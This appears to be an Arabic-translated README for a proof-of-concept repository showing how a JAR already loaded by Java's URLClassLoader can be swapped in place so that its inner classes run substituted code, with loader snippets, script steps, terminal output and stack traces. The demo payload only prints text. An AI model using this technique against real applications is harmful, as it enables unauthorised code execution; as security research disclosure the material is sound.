
عرض توضيحي لتبديل JAR عبر URLClassLoader يُظهر القدرة على استبدال واستغلال JAR محمّل مسبقًا مع الطبقات الداخلية.
يوضح الكود المثال التالي القدرة على تبديل ملف JAR مُحمَّل بالفعل بشكل ساخن والحصول على تنفيذ كود عن طريق استغلال حقيقة أن الفئات الداخلية (inner classes) لا تزال تصل إلى ملف JAR عند استدعائها، طالما أن inode لم يتغير.
تم اختباره على MacOS باستخدام OpenJDK (وتم استغلاله أيضًا على ناشر Apple's Author باستخدام Transporter).
عرض توضيحي من محادثة Frans Rosén بعنوان "Story of a RCE on Apple through hot jar swapping" من NahamCon 2022 EU.
build-and-run.shتقوم بتشغيله بالأمر:
./build-and-run.sh
سيقوم هذا بـ:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
سيقوم Bootstrapper بتحميل وتشغيل الكلاس HelloWorld.Main باستخدام URLClassLoader وسيطلب منك تشغيل الدالة hello من الكلاس HelloWorld.Secondary الذي تم تحميله أيضًا بالفعل. وهذا للتحكم في وقت استبدال ملف JAR الذي تم تحميله بالفعل.
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
يمكنك الآن أن تقرر ما إذا كنت تريد الضغط على Enter دون استبدال أي ملف JAR، وهذا سيعرض مسار الكود الصحيح من HelloWorld/Secondary.java:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shسوف يقوم exploit.sh بـ:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
جزء النسخ عند استبدال HelloWorld.jar بـ exploit.jar مهم، لأنه إذا تغير inode فلن ينجح الاستغلال. أمر mv سيكتب inode جديدًا، لكن cp إلى ملف موجود لن يفعل ذلك. نفس الشيء حدث باستخدام استخراج ZIP، حيث أن inode لملف JAR الموجود لم يتغير أبدًا، مما سمح للاستغلال بالعمل.
إذا كنت تريد اختبار التبديل الساخن لملف JAR، قم بتشغيل exploit.sh في نافذة أخرى بعد تشغيل build-and-run.sh ولكن قبل الضغط على Enter:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
إذا قمت الآن بالضغط على Enter في ./build-and-run.sh يجب أن تشاهد بنجاح الكود المستبدل بدلاً من ذلك:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
مما يوضح أنه يمكننا استغلال حقيقة أن الفئات الداخلية/المجهولة (inner/anonymous-classes) لا تزال تُحمَّل من ملف JAR الفعلي حتى لو كان URLClassLoader قد حمَّل ملف JAR بالفعل قبل أن نستبدله.
يحاول هذا المستودع شرح أنه يمكنك استبدال ملفات JAR المُحمَّلة بالفعل للحصول على تنفيذ كود بشرط توفر بعض المتطلبات الأساسية.
الفكرة هي أن ملف JAR تم تحميله في البداية باستخدام URLClassLoader:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
كما تم تحميل دالة ثانوية عند الإقلاع ولكن لم يتم استدعاؤها أبدًا:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
إذا تم استبدال ملف JAR أثناء تشغيل التطبيق، وكانت الفئة التي تم تحميلها ولكن لم يتم استدعاء أي من دوالها تحتوي أيضًا على فئات داخلية، فسنتمكن من جعلها تنفذ كودًا مختلفًا من ملف JAR الجديد إذا حدث الاستدعاء لاحقًا:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
لذا إذا كانت هذه الدالة تحتوي على فئة داخلية (تظهر في ملف JAR كـ $1.class) وقمنا باستبدال الفئة الداخلية بشيء بنفس الحجم ونفس نسبة الضغط، فسنتمكن من التبديل الساخن لملف JAR وجعل الكود الخاص بنا يعمل.
الفئة المجهولة من الملف Exploit/HelloWorld/Secondary.java تُترجم إلى الفئة الداخلية Exploit/HelloWorld/Secondary$1.class والتي لها نفس الحجم ونفس نسبة الضغط كما لو تم تجميع وضغط HelloWorld/Secondary.java. إذا اختلف الحجم أو نسبة الضغط، فستحصل على انهيار عند الضغط على Enter في build-and-run.sh.
لذا إذا قمت بتغيير Exploit/HelloWorld/Secondary.java على سبيل المثال إلى (functionn بدلاً من function:):
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
حيث تكون نتيجة الضغط هي نفسها ولكن نسبة الضغط خاطئة:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
ستشاهد:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
على OpenJDK يبدو أنه إذا اختلف الحجم الأصلي ولكن حجم الضغط هو نفسه فإنه لا يزال يعمل:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
سيظل exploit.sh يقول إن هناك فرقًا لأنه قد لا يعمل في جميع الإصدارات.
ستلاحظ أيضًا أنه إذا قمت بتغيير أشياء في Exploit/HelloWorld/Secondary.java خارج الفئة الداخلية، مثل:
System.out.println("\nEnd of run, goodbye");
إلى:
System.out.println("\nEnd of run, goodbya");
وهذا سيجعل Secondary.class بنفس نسبة الضغط والحجم، فلن يتم تشغيل المحتوى المستبدل، لأن الفئة قد تم تحميلها بالفعل بواسطة URLClassLoader، مما يؤكد أن هذا يؤثر فقط على الفئات الداخلية (تلك المسماة $1.class في ملف JAR) لأنها تُحمَّل من ملف JAR عند استخدامها:
End of run, goodbye